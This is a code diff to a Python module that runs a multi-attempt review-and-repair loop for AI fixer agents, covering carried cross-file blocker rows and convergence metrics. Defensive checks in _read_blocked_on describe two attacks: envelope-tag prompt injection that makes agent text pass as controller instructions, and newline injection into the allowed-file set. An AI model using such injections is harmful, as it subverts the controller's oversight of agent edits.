+# `_fingerprint` hashes the summary into the row's stored identity. It used to +# interpolate the reporting attempt, so one consequence that persisted across +# two attempts arrived under two different fingerprints: `_blocker_fingerprints` +# counted the old one as `fixed` and the new one as `new` on every single round, +# which is manufactured progress. STOP_NO_PROGRESS needs an UNCHANGED multiset +# and could therefore never fire while such a row was carried, and +# STOP_REGRESSED needs `fixed == 0`, which the phantom made false every time. +# The comment on the old site called this summary "controller-authored and +# deterministic"; the attempt number made it the opposite of deterministic +# across the only axis that mattered. +# +# THAT CONSUMER NO LONGER READS THIS TEXT AT ALL. The same defect was closed a +# second and wider way, because removing the attempt number never finished the +# job -- the fingerprint is `hash(file, summary)` and the FILE varies across +# attempts too. `_blocker_fingerprints` and `_growth_ratio` now drop every +# carried row through `_reviewer_blockers` BEFORE they read anything off it. +# Executed against the shipped module: a carried row whose `fingerprint` is the +# literal `GARBAGE-NOT-HEX` yields an empty multiset and no refusal, while the +# same row with `blocked_on_carry` removed exits 74 on `fingerprint_missing`. +# So no progress arithmetic in this file keys on this string any more. +# +# THE STABILITY CONSTRAINT IS STILL LIVE, FOR A CONSUMER OUTSIDE THIS FILE. +# `_encode_aggregate` publishes neither `fingerprint` nor `blocked_on_carry`, so +# `agents/findings-to-issues.md` derives a carried row's per-finding identity +# itself: Step 8's `MEMBER_FP = sha256(path:line:normalised_summary)[:16]`. A +# carried row's `path` is fixed by the row and its `line` is `None` -- encoded +# as `1` by `_encode_aggregate` -- so THIS TEXT IS THE ONLY VARYING TERM. +# Reinterpolate the attempt number and one consequence that survives two runs +# is recorded as two members of that file's container issue instead of one +# recurring member. +# +# AND NOTHING EXECUTES THAT. No test asserts a carried row's summary, and the +# filer is an agent rather than an importable function, so this comment is the +# whole of the guard. Do NOT read the skip in `_blocker_fingerprints` as proof +# the constraint died with it. +# +# The attempt number is not lost. It goes into `failure_scenario`, which is +# where the agent's own words already live precisely because nothing keys on +# them. +# +# `from_file` STAYS in it, and that is why `_read_blocked_on` checks the +# envelope tag in `from_file` as well as in `file` and `reason`: this is the +# one field of the three that reaches an untrusted-input envelope through the +# summary rather than through the path. +_BLOCKED_ON_SUMMARY = ( + "cross-file consequence: the fixer for %s reported this file as one it " + "needed in order to finish the fix" +) + + +def _wave_certainly_ran(out_dir: str, attempt: int) -> bool: + """Did that attempt CERTAINLY dispatch a fixer wave? + + The premise of `blocked_on_artifact_absent`, made checkable. That message + asserts a contract violation -- "SKILL.md requires this artifact" -- and it + was emitted whenever the file was missing, including on the run shape + `/premerge` is designed to reach. The order inside one attempt is review -> + plan -> gate -> fixers ONLY IF NOT GREEN, so the last attempt of every + successful run gates green and dispatches no wave; Phase 4c then re-plans at + `PREMERGE_ATTEMPT + 1` with `--carry-blocked` (the shared triage fence passes + it unconditionally) and the absent artifact was reported as a breach. A + warning that fires on the happy path teaches the operator to skip the token, + which costs it the one run where it is true. + + THE ONLY SUFFICIENT CONDITION THIS MODULE CAN CHECK is that the attempt + recorded at least one blocker -- reviewer-raised OR carried. Either kind + guarantees `blockers_remaining=` was on the gate's reasons, so the gate + cannot have been green, and either kind is a wave member, so `_fix_waves` + produced a non-empty plan: both halves of "a wave went out". An attempt whose + evidence is absent or corrupt says nothing at all, and stays silent. + + THE CARRIED HALF USED TO BE EXCLUDED HERE, on the premise that such an + attempt "may or may not have dispatched". That premise died with the carried + -row exclusion in `cmd_assert_green`: a carried row now gates exactly like a + reviewer's, which is the only way it reaches a fixer at all. Leaving the + exclusion behind would have kept the warning silent on the run shape where + the missing artifact is most diagnostic -- a wave dispatched at nothing but + cross-file consequences, which is precisely the wave whose `blocked_on_file` + returns nobody would otherwise notice were gone. + + UNESTABLISHED MEANS SILENT, and that is the right direction for this + particular message and no other in this file. Every other refusal here fails + CLOSED because being wrong ships something unverified; this one changes no + decision at all -- the caller returns `([], 0)` either way -- so its entire + value is that an operator believes it. A missed warning costs a diagnosis; a + false one costs the token. + """ + try: + document = _read_attempt(out_dir, attempt, required=False) + except Refusal: + return False + if document is None: + return False + return bool(document["blockers"]) + + +def _read_blocked_on( + out_dir: str, attempt: int, repo_root: str, findings: "list[dict]" +) -> "tuple[list[dict], int]": + """Attempt N-1's `blocked_on_file` rows, as blocker findings. + + EXACTLY ONE PREDECESSOR, NEVER A RANGE. `_carry_prior_suggestions` walks + `range(1, attempt)` because a suggestion is never fixed and must not be + lost. A blocked-on path is the opposite -- it widens the set of files a + fixer may edit -- so a union accumulated over every earlier attempt grows + monotonically and, by CONVERGE_REPAIR_CEILING, constrains nothing. + + A ROW THAT FAILS VALIDATION IS DROPPED AND COUNTED, NEVER FATAL. Refusing + would cost the whole attempt over one malformed row an agent emitted -- + the trade `_drop_unfilable` already declines. Dropping is also the + fail-CLOSED direction: a dropped path is a path no fixer may touch. + + THE WHOLE ROW IS BUILT HERE, not by the caller, because every check that + makes a row publishable is a check that has to be able to DROP it. The + synthesised finding used to be assembled in `cmd_plan` after this function + returned, which put its two agent-derived strings outside the only region + that tolerates a bad one: + + * `summary` interpolates `from_file`, which `_repo_path` admits at up to + MAX_PATH_CHARS. A 4000-character path therefore wrote a 4109-byte + summary into `classified-NN.json` -- valid nowhere, refused by nothing + until the Phase 5 `defer` called `_encode_aggregate` on it, exited 74 + behind `|| exit 74`, and filed NOTHING: every surviving blocker, every + carried suggestion and every simplify-lens row, gone at the last step. + `cmd_plan` calls `_encode_aggregate` on the suggestion union for exactly + that reason and the synthesised rows were appended after it. + * `_repo_path` is lexical and has no control-character check at all, so a + `from_file` of `lib/\\x01a.sh` reached the summary, the fingerprint and + the deferred issue text intact. `_bounded_text` on the composed string + closes both halves at once, and closes them where a failure is a drop. + + IT IS ALSO WHERE THE TWO GUARANTEES `_normalise_findings` GIVES THE + REVIEWER'S OWN ROWS ARE GIVEN TO THESE. That function refuses above + MAX_FINDINGS records and refuses a repeated `(file, line, normalised + summary)` triple; rows appended after it went through neither, so a + 64-finding review plus 8 admitted paths wrote `counts.total = 72` and a wave + plan with more owners than the reviewer contract admits -- which `cmd_defer` + then truncated back to 64 at the FAR end, discarding rows instead of + refusing them at the near one. Both bounds are enforced here, in the + direction this function already stands for: displaced rows are dropped and + counted, never fatal. + + EVERY DROP IS ANNOUNCED, and so is an absent artifact THAT A WAVE SHOULD + HAVE WRITTEN. `counts.blocked_on_*` lives in `classified.json`, which no + fence reads and no run summary renders, so a fully-refused artifact and an + empty one were the same observable state on the operator's line -- + `BLOCKED=0` either way. Every sibling refusal in this module announces itself + with a stable token (`attempt_unreadable_skipped`, + `blocked_on_unreadable_skipped`, `repair_scope_unreadable`, + `attempt_fallback`); these two now do too. The absence message is gated on + `_wave_certainly_ran`, because it asserts a contract violation and the + commonest way to reach an absent artifact is an attempt that gated green and + therefore legitimately dispatched nobody. + + Returns (synthesised blocker findings, dropped). + """ + prior = attempt - 1 + if prior < 1: + return [], 0 + path = os.path.join(out_dir, "blocked-on-%02d.json" % prior) + if not os.path.exists(path): + # ANNOUNCED, because SKILL.md `### 2a` makes the artifact MANDATORY: + # "Write `"blocked_on": []` when the wave reported nothing, and do not + # skip the artifact -- an absent file and an empty array must never be + # the same observable state." Returning ([], 0) in silence made them + # exactly that, so a controller that forgot the hand-written JSON got a + # widening that no-oped and a `BLOCKED=0` indistinguishable from "the + # wave reported nothing to widen". + # + # Only reachable when the widening was actually REQUESTED: `cmd_plan` + # calls this function only under `--carry-blocked`, and an absent + # artifact on a run that never asked for one is legitimate. + if _wave_certainly_ran(out_dir, prior): + print( + "premerge-findings: blocked_on_artifact_absent: " + "%s is missing; SKILL.md requires it even when the wave reported " + "nothing, so nothing is widened from attempt %d" % (path, prior), + file=sys.stderr, + ) + return [], 0 + try: + document = _load(path) + if not isinstance(document, dict): + fail("blocked_on_schema_invalid", "the blocked-on artifact must be a JSON object") + if document.get("schema_version") != SCHEMA_VERSION: + fail("blocked_on_schema_invalid", f"schema_version must be {SCHEMA_VERSION}") + rows = document.get("blocked_on") + if not isinstance(rows, list): + fail("blocked_on_schema_invalid", "blocked_on must be a JSON array") + except Refusal as refusal: + # Announced, never silent, and never fatal -- same shape and same + # reasoning as `_carry_prior_suggestions`' tolerant arm. + print( + "premerge-findings: blocked_on_unreadable_skipped: " + f"attempt {prior} ({refusal.token}); no path is widened from it", + file=sys.stderr, + ) + return [], 0 + + # Seeded with the files THIS attempt's reviewer blockers already own, so a + # path the reviewer named cannot gain a second owner in the wave plan. + seen: "set[str]" = {f["file"] for f in findings if f.get("severity") == "blocker"} + # And the uniqueness triple `_normalise_findings` refuses a repeat of, so a + # synthesised row cannot collide with a reviewer row on the very key that + # function calls a duplicate. Synthesised rows carry `line: None`, which is + # a real value in this key and not a wildcard. + keys = { + (f["file"], f["line"], _normalised_summary(f["summary"])) for f in findings + } + # The widening's own bound AND what is left of the document-wide cap, + # whichever is smaller. MAX_BLOCKED_ON alone let a full review overflow + # MAX_FINDINGS; MAX_FINDINGS alone would let one attempt widen by 63 paths. + cap = min(MAX_BLOCKED_ON, max(0, MAX_FINDINGS - len(findings))) + + kept: "list[dict]" = [] + # WHY a tally and not a bare count: "the artifact was written with absolute + # paths" and "the fixers deleted the files it names" are different operator + # actions, and both look like `BLOCKED=0` without it. + refused: "collections.Counter[str]" = collections.Counter() + for record in rows: + if not isinstance(record, dict): + refused["not_an_object"] += 1 + continue + try: + target = _repo_path(record.get("file")) + origin = _repo_path(record.get("from_file")) + reason = _bounded_text( + record.get("reason"), + MAX_SUMMARY_BYTES, + "blocked_on_schema_invalid", + "blocked_on reason", + ) + # BOUNDED HERE, where a failure is a drop -- see the docstring. + # `_bounded_text` rejects a control character in the composed string + # BEFORE it collapses whitespace, so the half of the check + # `_repo_path` does not do reaches `from_file` through this call. + summary = _bounded_text( + _BLOCKED_ON_SUMMARY % origin, + MAX_SUMMARY_BYTES, + "blocked_on_schema_invalid", + "blocked_on summary", + ) + # The reporting attempt lives here and nowhere else: of the three + # strings this row carries, `failure_scenario` is the one no + # identity is derived from -- not `_fingerprint` below, and not the + # filer's `path:line:normalised_summary` member key -- which is what + # lets the summary above stay identical across attempts. See + # `_BLOCKED_ON_SUMMARY` for who still depends on that stability, and + # for why the consumer that comment originally named is not it. + detail = _bounded_text( + "attempt %d's fixer for %s reported: %s" % (prior, origin, reason), + MAX_DETAIL_BYTES, + "blocked_on_schema_invalid", + "blocked_on failure_scenario", + ) + except Refusal: + refused["invalid_field"] += 1 + continue + # The wave prompt pastes finding objects VERBATIM into an + # `` envelope with no encoder between them, + # so a row carrying the tag's own name could close the envelope early + # and read as the controller's words. `_canonical_json` solves this for + # the aggregate by escaping the markup characters; here the row is + # dropped, because nothing downstream re-encodes it. + # + # ALL THREE reachable strings are checked, not the reason alone. + # `target` is the value the AGENT chose and it lands verbatim in the + # synthesised finding's `file`; `origin` lands inside the + # controller-authored `summary`. Checking one of the three would leave + # the most agent-controlled of them unchecked, which is the direction + # this drop exists to close. + if any( + "external-untrusted-input" in value.casefold() + for value in (reason, origin, target) + ): + refused["envelope_tag"] += 1 + continue + if not _beneath_repo_root(repo_root, target): + refused["outside_repo_root"] += 1 + continue + # It must already exist. A widened path that does not is a path no + # commit could carry anyway -- the fix commit fence refuses on + # untracked files -- so admitting one only grows the allowed set. + # + # It also closes the separator injection: the allowed set is derived + # NEWLINE-separated by `jq -r`, and a `file` carrying an embedded + # newline would split into two entries. No such file exists on disk, so + # the row dies here. + if not os.path.isfile(os.path.join(repo_root, target)): + refused["absent_file"] += 1 + continue + if target in seen: + refused["already_owned"] += 1 + continue + key = (target, None, _normalised_summary(summary)) + if key in keys: + refused["duplicate_finding"] += 1 + continue + if len(kept) >= cap: + refused["over_cap"] += 1 + continue + seen.add(target) + keys.add(key) + kept.append( + { + # After every reviewer finding, so `_fix_waves`' + # first-appearance ordering puts the reviewer's own blockers in + # the earlier waves. + "rank": len(findings) + len(kept) + 1, + "file": target, + # NEVER A LINE. The consequence was observed at coordinates + # other wave members have already moved; the reason survives a + # rewrite and a line number does not. + "line": None, + "summary": summary, + "failure_scenario": detail, + "category": None, + "verdict": None, + # KEPT ON PURPOSE THOUGH NOTHING READS IT. `_reviewer_blockers` + # drops this row before `_blocker_fingerprints` validates + # identities and before `_growth_ratio` measures, and + # `_encode_aggregate` publishes no `fingerprint` key at all, so + # neither a consumer nor a validator ever sees this value. It + # stays for SCHEMA UNIFORMITY with reviewer rows -- whole rows + # are pasted verbatim into the fixer wave prompt -- and because + # dropping it would change the bytes of `classified-NN.json` and + # `fix-waves-NN.json` for a value no decision depends on. + "fingerprint": _fingerprint(target, summary), + "severity": "blocker", + "severity_source": "controller", + # THE MARKER FOR "THIS ROW IS THE LOOP'S OWN BOOKKEEPING", AND + # IT HAS FOUR READERS, NOT ONE. No reviewer reported this row + # and the previous repair did not write it -- the loop is + # carrying its own scheduling note forward, and by construction + # it names a file that repair did NOT modify. Every reader goes + # through `_is_carried`, three of them via `_reviewer_blockers`; + # the evidence-versus-work line that decides which way each one + # falls is documented above that predicate. The four, and what + # each one does: + # + # 1. `_growth_ratio` -- excluded from BOTH sides. It can never + # enter the numerator (the file is not in the measured + # repair scope), and in the denominator it only dilutes: + # three genuinely self-referential blockers plus three + # carried consequences measured 0.50 instead of 1.00, and + # the suppression is largest on the runs with the most + # cross-file churn -- the runs the detector exists for. + # 2. `_blocker_fingerprints` -- excluded from the progress + # multisets, so a carried row can no longer read as + # `FIXED=1 NEW=1` on a round that repaired nothing, which + # is what made STOP_NO_PROGRESS and STOP_REGRESSED + # structurally unreachable. + # 3. `cmd_defer` -- `_as_deferred_carry_row` demotes the row to + # cleanup tier, so a stranded consequence is still filed but + # never outranks a proven defect at the filer's `max_new` + # cap. + # 4. `cmd_plan` -- excluded from `counts.blocker_reviewer`, the + # field that names the reviewer-raised population instead of + # leaving an operator to subtract `BLOCKED=` from + # `BLOCKER=`. The only one of the four that decides nothing; + # it is routed through the same filter so it cannot answer + # differently from the two that do. + # + # WHAT IT DOES NOT TOUCH: `_fix_waves` still plans this row and + # `assert-green` still counts it into `blockers_remaining=`. An + # additive key, so a pre-loop artifact that lacks it reads + # exactly as it did. + "blocked_on_carry": True, + } + ) + dropped = sum(refused.values()) + if dropped: + print( + "premerge-findings: blocked_on_rows_dropped: " + "attempt %d: %d of %d rows dropped (%s); %d path(s) widened" + % ( + prior, + dropped, + len(rows), + ",".join("%s=%d" % item for item in sorted(refused.items())), + len(kept), + ), + file=sys.stderr, + ) + return kept, dropped + + # The tag that fronts an unhashable field's stand-in. A one-off object, so the # stand-in is a TUPLE and can therefore never compare equal to the string or the # integer a well-formed row puts in the same slot. @@ -1117,6 +1727,248 @@ def _union_suggestions(base: "list[dict]", carried: "list[dict]") -> "list[dict] return out +def _repair_scope_path(run_dir: str, attempt: int) -> str: + return os.path.join(run_dir, "fix-scope-%02d.modified" % attempt) + + +def _scope_key(value: object) -> "str | None": + """The ONE form both sides of the GROWTH membership test are compared in. + + ONE FUNCTION BECAUSE ONE COMPARISON. `_read_repair_scope` builds the set and + `_growth_ratio` looks paths up in it, and the two used different derivations: + the set stripped every line, the lookup passed the finding's `file` through + `_repo_path`, which trims nothing. A repaired path with surrounding + whitespace -- `git diff --name-only` prints a tracked path verbatim -- was + therefore stored trimmed and looked up untrimmed, the membership test missed, + and the blocker dropped out of the NUMERATOR while staying in the + denominator. GROWTH under-reports, a genuinely self-referential round falls + below CONVERGE_GROWTH_CEILING and never starts a streak: a fail-OPEN in the + one detector whose entire job is to notice the pump. Two derivations of one + key cannot be kept in agreement by a comment, so there is one. + + IT REFUSES NOTHING, and that is deliberate rather than lax. Its only caller + on the findings side is `_growth_ratio`, which runs inside `cmd_converge` -- + the one place in this module where failing closed is WRONG (see + `_read_repair_scope`'s docstring: a refusal there stops a loop that is + working, RFC 0021 A3 C3). `_repo_path` used to be that caller, and it raises + `finding_schema_invalid` on an absolute, back-slashed or non-normalised path; + `_read_attempt` validates `schema_version`, the two arrays, `pr_number` and + `run_id` and never a blocker's `file`, so one hand-edited or resumed-run + artifact turned the DECISION step into exit 74 and killed the run. A path + this cannot key is simply not in the scope set -- `git diff --name-only` + emits neither shape -- so it is excluded from the numerator, which is the + same answer the refusal would have produced minus the crash. + """ + if not isinstance(value, str): + return None + entry = value.strip() + return entry or None + + +def _read_repair_scope(run_dir: str, attempt: int) -> "frozenset[str] | None": + """The repo-relative files that attempt's repair modified, or None. + + None means NOT MEASURED, and it is a different answer from the empty set. + The fix-commit fence publishes `fix-scope-.modified` only on an attempt + that actually committed and pushed edits -- it exits early with + `REASON=no-edits` otherwise. There is then no repair to attribute this + attempt's findings to, and printing 0.00 for it would be a measurement + nobody took. + + A COMMITTED-NOTHING REPAIR IS NOT THE ONLY UNMEASURED CASE, AND SAYING SO + WAS FALSE. SKILL.md `## Phase 3`'s CI-repair fence has an `arm=commit` path + that dispatches `ci-code-fixer`, validates its diff against + `ci-scope-.allowed`, and PUSHES -- a real repair, with real code edits. + It publishes `ci-scope-.*` and nothing else: no `fix-scope-.modified` + exists on that path, so the next attempt reads None here and prints + `GROWTH=-`. A loop whose repairs run through the CI arm therefore cannot + accumulate two consecutive eligible rounds, and STOP_SELF_REFERENTIAL is + unreachable for it. This is not hypothetical: the `/premerge` run that + surfaced it took exactly that path at attempt 1. + + Reading `ci-scope-.changed` here would NOT close it honestly. That file + is written BEFORE the scope comparison and before the push, and the whole + point of the `.pending` -> `.modified` rename at the end of the fix-commit + fence is that only a PUSHED repair may claim a scope. Attributing this + attempt's findings to edits that may never have left the machine trades one + wrong measurement for another. The half that closes it is a durable publish + in the CI fence itself -- SKILL.md, not this file -- and until that lands the + honest report is `-`, which stops nothing. + + NOT FAIL-CLOSED, AND THIS IS THE ONE PLACE IN THIS MODULE WHERE THAT IS + RIGHT. Every other refusal here stops a loop that might otherwise ship + something unverified. This one would stop a loop that is WORKING, which is + the failure RFC 0021 A3 C3 names outright. An unmeasurable ratio is + reported as `-`, is visible on the line and in the summary, and changes no + decision. An OSError on a file that IS present degrades the same way but + announces itself with a token, the way `_carry_prior_suggestions` already + announces a skipped attempt. + """ + target = _repair_scope_path(run_dir, attempt) + if not os.path.exists(target): + return None + try: + with open(target, "rb") as handle: + raw = handle.read() + except OSError as exc: + print( + "premerge-findings: repair_scope_unreadable: " + f"{target} ({exc}); this attempt's GROWTH is not measured", + file=sys.stderr, + ) + return None + # Through `_scope_key`, which is also what the lookup side runs -- see its + # docstring for the drop this closes. + paths = set() + for line in raw.decode("utf-8", "replace").splitlines(): + entry = _scope_key(line) + if entry is not None: + paths.add(entry) + return frozenset(paths) + + +def _growth_ratio( + document: "dict", + previous_prints: "collections.Counter[str] | None", + scope: "frozenset[str] | None", +) -> "float | None": + """What fraction of this attempt's blockers the previous repair authored. + + numerator -- blockers whose `file` is in `scope` AND whose fingerprint + the previous attempt's evidence did not carry. + denominator -- every blocker in this attempt's evidence that a REVIEWER + raised. That is the number `converge` prints as `BLOCKERS=` + -- the identity SKILL.md `## Phase 3b` asserts -- and it is + the TRIAGE line's `BLOCKER=` minus its `BLOCKED=`, which is + also written down as `counts.blocker_reviewer`. Two blocker + populations, and this is the reviewer-raised one; see the + carried-row exclusion below. + + THE CARRIED-ROW EXCLUSION. `_read_blocked_on` turns the previous attempt's + `blocked_on_file` returns into blocker findings, stamped + `blocked_on_carry: True`. A path is reported that way precisely BECAUSE the + previous fixer could not edit it, so it is never in + `fix-scope-.modified` and can never enter the numerator -- while, left + in the denominator, it dilutes the ratio on every round. Three genuinely + self-referential blockers alongside three carried consequences measured + 0.50 where the honest answer is 1.00, and MAX_BLOCKED_ON lets one attempt + add eight such rows. The suppression is largest on the runs with the most + cross-file churn, which are exactly the runs STOP_SELF_REFERENTIAL exists + for, and two suppressed rounds in a row is all it takes for it never to + fire. So a carried row counts on NEITHER side: it is not the reviewer's + finding and it is not work the previous repair authored. + + THE FINGERPRINT EXCLUSION IS NOT AN OPTIMISATION. The wave plan assigns + exactly the files this attempt's blockers named, so a SURVIVOR -- a blocker + the fixer was assigned and did not clear -- is by construction sitting in a + file the repair touched. Counted, it would make a converging loop with + residual findings measure 1.00 and stop on its own success. Excluded, the + numerator is a strict subset of the `NEW=` count already on the output + line, which is also what makes that line internally checkable. + + DELIBERATELY THE COARSE PROXY. The precise question is "did this finding + land in text the previous repair WROTE", which needs diff-hunk mapping + nothing produces today (RFC 0021 A3 C8: the reviewer cannot be pointed at a + two-SHA range). File membership over-counts -- a new finding elsewhere in a + touched file counts -- so it errs toward stopping, which is precisely why + CONVERGE_GROWTH_RUNS requires two consecutive rounds rather than one. + + IT MEASURES COMPOSITION, NOT DIRECTION -- WHICH IS WHY IT IS NOT ON ITS OWN + A STOP. The denominator is this attempt's RESIDUAL, so it shrinks as the + loop succeeds while the numerator is dominated by whatever the reviewer + newly sampled -- and the reviewer resamples the repaired file by + construction. A run that cleared 4 of 5 blockers and came back with one + survivor plus one new finding in the file it just fixed measures 0.50 on a + round that halved the stack, and 5 -> 2 -> 2 measured 0.50 twice and stopped + with three of five repair rounds unspent. That is C3's failure with the + ratio's own name on it. `_growth_round_counts` is where the direction of + travel is put back: the ratio stays exactly what it says it is, and a round + that REDUCED the reviewer-raised blocker count is not eligible to be half of + a divergence streak. + + None when the ratio is undefined: no previous attempt, no measured repair + scope, or no reviewer-raised blocker to divide by. + """ + if scope is None or previous_prints is None: + return None + grown = 0 + measured = 0 + for finding in _reviewer_blockers(document["blockers"]): + if not isinstance(finding, dict): + fail("finding_schema_invalid", "a blocker is not an object") + measured += 1 + # `_scope_key`, NOT `_repo_path`. Both sides of this test have to be + # derived the same way or a padded path silently leaves the numerator, + # and `_repo_path` REFUSES rather than answering -- exit 74 out of the + # loop's decision step, on a `file` value nothing between here and + # `_read_attempt` has validated. Its docstring covers both halves. + if _scope_key(finding.get("file")) not in scope: + continue + if finding.get("fingerprint") in previous_prints: + continue + grown += 1 + if not measured: + return None + # ROUNDED BEFORE THE COMPARISON, not after. The threshold test below uses + # the same two-decimal value the line prints, so an operator reading + # `GROWTH=0.50` and the decision the run took can never disagree. + return round(grown / measured, 2) + + +def _growth_round_counts( + growth: object, blockers: object, previous_blockers: object +) -> bool: + """Is this ONE round eligible to be half of a STOP_SELF_REFERENTIAL streak? + + Two conditions, and the second is the one #765 shipped without. + + AT OR ABOVE THE CEILING. `>=`, against the same rounded value the line + prints, so an operator reading `GROWTH=0.50` and the decision the run took + can never disagree. + + AND THE ROUND DID NOT REDUCE THE REVIEWER-RAISED BLOCKER COUNT. `GROWTH=` + answers "what is the residual MADE OF", never "which way is this going", and + those two questions come apart in one specific direction: the denominator is + the residual, so it shrinks as the loop succeeds, while the numerator counts + findings the reviewer newly sampled in the file the repair just touched -- + which is the file it was always most likely to resample. The ratio therefore + RISES toward 1.00 precisely as a run converges. Reproduced against the + shipped module with `--max-repairs 5`: 5 blockers, then 4 cleared leaving one + survivor and one new (0.50), then one more cleared leaving one survivor and + one new (0.50) -- STOP_SELF_REFERENTIAL and exit 1 on a loop that went + 5 -> 2 -> 2, with three of five repair rounds unspent. CONVERGE_GROWTH_RUNS + does not mitigate it, because at n=2 a single new finding in a repaired file + IS 0.50, twice running. + + A round that removed more of the reviewer's blockers than it was left + holding is a round in which repairing demonstrably worked, whatever the + residual is made of, and RFC 0021 A3 C3 is explicit that stopping such a + loop is the worse error. So it is not eligible; the ratio is still measured, + still printed and still recorded, and a genuine pump -- which by definition + is not reducing the count -- reaches the ceiling on consecutive eligible + rounds exactly as before. + + THE INPUTS ARE THE LEDGER'S OWN COLUMNS, so the previous round is judged by + the same predicate as this one with no new key and no fence to thread it + through: `converge.jsonl` already records `growth`, `blockers` and + `previous_blockers` per attempt. Every value is type-checked because a + hand-edited or truncated ledger is JSON, not a contract -- `blockers >= None` + is a TypeError, and `bool` is an `int` in Python, so both are rejected + explicitly. Anything unreadable is NOT eligible, which is the fail-safe + direction here: the failure this guard exists to prevent is stopping a loop + that was working. + """ + if not isinstance(growth, (int, float)) or isinstance(growth, bool): + return False + if growth < CONVERGE_GROWTH_CEILING: + return False + if not isinstance(blockers, int) or isinstance(blockers, bool): + return False + if not isinstance(previous_blockers, int) or isinstance(previous_blockers, bool): + return False + return blockers >= previous_blockers + + def _converge_ledger(run_dir: str) -> str: return os.path.join(run_dir, "converge.jsonl") @@ -1436,6 +2288,38 @@ def cmd_plan(args: argparse.Namespace) -> int: # beats being saved by a ranking accident at the end of the run. _encode_aggregate(_drop_unfilable(union)[0], pr_number, run_id, allow_blockers=True) + # THE WIDENING GOES THROUGH `_fix_waves`, NOT AROUND THE SCOPE GUARD. + # + # The fix-commit fence derives the committable set solely from + # `jq -r '.waves[][].file' fix-waves-.json`. Widening THAT from + # agent-returned text would make a path committable while no agent owns it, + # and two agents in the next wave could then edit it concurrently against + # one un-isolated worktree with the disjointness guard silent. Feeding the + # paths in here instead makes each one a first-class wave member with + # exactly one owner, and leaves the guard's derivation untouched. + if args.carry_blocked and not args.repo_root: + fail( + "blocked_on_root_missing", + "--carry-blocked requires --repo-root: containment is a filesystem check", + ) + # THE ROWS ARRIVE FULLY FORMED AND FULLY CHECKED -- see `_read_blocked_on`. + # Assembling them here, after `_normalise_findings` and after the + # `_encode_aggregate` validation above, is what let an over-long or + # control-charactered `from_file` write a summary into `classified.json` + # that only detonated at the Phase 5 `defer`, and what let the widening + # push the document past MAX_FINDINGS and past the uniqueness key. Both + # bounds now belong to the reader, where a violation is a counted drop + # rather than a dead attempt. + synthesised, blocked_dropped = ( + _read_blocked_on(out_dir, attempt, args.repo_root, findings) + if args.carry_blocked + else ([], 0) + ) + # Both lists, so `counts.total`, `counts.blocker` and `counts.category_backed` + # keep describing the same population the artifact actually holds. + findings = findings + synthesised + blockers = blockers + synthesised + classified = { "schema_version": SCHEMA_VERSION, "attempt": attempt, @@ -1450,6 +2334,40 @@ def cmd_plan(args: argparse.Namespace) -> int: "counts": { "total": len(findings), "blocker": len(blockers), + # THE OTHER BLOCKER POPULATION, NAMED RATHER THAN INFERRED. + # + # `blocker` above is every row in the `blockers` array: the + # reviewer's findings PLUS the cross-file consequences the previous + # attempt's fixers reported. That is the population `_fix_waves` + # plans and `assert-green` counts into `blockers_remaining=`, and it + # is what `PREMERGE_TRIAGE BLOCKER=` prints -- so `total = blocker + + # suggestion` stays true and no field anyone parses changes meaning. + # + # It is NOT the population the loop's other three blocker numbers + # measure. `converge`'s `BLOCKERS=`, the `GROWTH=` denominator + # (SKILL.md `## Phase 3b` calls these two the same number, and they + # are) and `defer`'s `BLOCKER=` all count REVIEWER-RAISED blockers + # only, because a carried row is the loop's own bookkeeping and + # counting it as progress manufactures churn -- see + # `_blocker_fingerprints`. Two different questions, two different + # numbers, and an operator who reads `BLOCKER=1` on one line and + # `BLOCKERS=0` on the next deserves better than arithmetic on + # `BLOCKED=` to reconcile them. This key is that number, written + # down. + # + # IT IS WRITTEN FOR A HUMAN, NOT FOR A CHECKER. A repo-wide search + # finds one writer -- this line -- and no reader: no fence, no test + # and no agent parses it, and the loop's own progress arithmetic + # runs off `_blocker_fingerprints` and `_growth_ratio` instead. It + # still equals `blocker - blocked_on_admitted` by construction, so + # the three counts in this object can be reconciled by eye; nothing + # reconciles them automatically, and calling that self-checking + # overstates it. + # + # DERIVED THROUGH THE SAME FILTER THE OTHER TWO USE, not by + # subtracting `len(synthesised)` -- see `_reviewer_blockers` for the + # document shape on which the subtraction and the filter disagree. + "blocker_reviewer": len(_reviewer_blockers(blockers)), "suggestion": len(suggestions), # How many severities were machine-checked rather than judged. The # run summary prints this so an operator can see at a glance whether @@ -1461,6 +2379,20 @@ def cmd_plan(args: argparse.Namespace) -> int: # "we filed 9 suggestions" can be told apart from "this review found # 9 suggestions" -- under a loop those are different numbers. "suggestion_carried": carried_count, + # How many paths this attempt's wave plan gained from the PREVIOUS + # attempt's `blocked_on_file` returns, and how many rows were + # refused by validation or displaced by a cap -- MAX_BLOCKED_ON, or + # whatever is left of MAX_FINDINGS -- on the way in. Reported so + # "the reviewer found 3 blockers" can be told apart from "the + # reviewer found 1 and the loop carried 2 cross-file consequences". + # + # NEITHER NUMBER IS THE OPERATOR'S ONLY NOTICE ANY MORE. This file + # is read by no fence and rendered by no run summary, so a fully + # refused artifact looked exactly like an empty one; every drop is + # now also announced on stderr with its own token. See + # `_read_blocked_on`. + "blocked_on_admitted": len(synthesised), + "blocked_on_dropped": blocked_dropped, }, "blockers": blockers, "suggestions": suggestions, @@ -1530,9 +2462,22 @@ def cmd_plan(args: argparse.Namespace) -> int: # # The first five fields are a pinned prefix (tests/premerge-findings.test.sh # matches on it): append, never reorder or insert. + # + # `BLOCKER=` IS THE ARTIFACT'S BLOCKER ARRAY, CARRIED ROWS INCLUDED, and it + # is deliberately not redefined to the reviewer-only count. `TOTAL = BLOCKER + # + SUGGESTION` is an invariant of this line, `counts.blocker` describes the + # population `classified.json` actually holds, and `assert-green` counts the + # same rows into `blockers_remaining=` -- so this line and the gate agree. + # `converge`'s `BLOCKERS=`, the `GROWTH=` denominator and `defer`'s + # `BLOCKER=` count reviewer-raised blockers ONLY; the difference between the + # two populations is exactly `BLOCKED=`, three fields along, and it is also + # written out as `counts.blocker_reviewer` for a reader who should not have + # to do the subtraction. Redefining `BLOCKER=` in place would have moved the + # divergence rather than documented it, under a field the Phase 5 fence and + # the run summary both parse. print( "PREMERGE_TRIAGE TOTAL=%d BLOCKER=%d SUGGESTION=%d WAVES=%d CATEGORY_BACKED=%d" - " ATTEMPT=%d CARRIED=%d" + " ATTEMPT=%d CARRIED=%d BLOCKED=%d" % ( len(findings), len(blockers), @@ -1541,6 +2486,7 @@ def cmd_plan(args: argparse.Namespace) -> int: classified["counts"]["category_backed"], attempt, carried_count, + len(synthesised), ) ) return 0 @@ -1559,9 